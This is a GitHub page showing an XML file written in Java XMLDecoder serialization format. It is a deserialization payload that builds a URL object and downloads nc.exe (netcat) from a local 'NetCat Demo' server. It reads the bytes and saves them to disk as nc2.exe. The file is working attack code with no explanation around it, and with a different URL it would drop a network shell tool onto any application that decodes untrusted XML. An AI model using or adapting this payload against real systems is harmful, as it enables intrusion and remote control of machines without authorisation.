Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
35 lines (31 sloc) 876 Bytes
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object id="url" class="java.net.URL">
<string>http://localhost:56674/NetCat Demo/nc.exe</string>
</object>
<object idref="url">
<void id="connection" method = "openConnection" />
</object>
<object idref="connection">
<void id="inputStream" method="getInputStream"/>
</object>
<object id="fileName" class="java.lang.String">
<string>nc2.exe</string>
</object>
<array id="bytes" class="byte" length="61440"/>
<object idref="inputStream">
<void method="read" >
<object idref="bytes" />
<int>0</int>
<int>61440</int>
</void>
<void method="close" />
</object>
<object class = "java.io.FileOutputStream">
<object idref="fileName"/>
<method name = "write">
<object idref="bytes"/>
</method>
<method name = "close"/>
</object>
</java>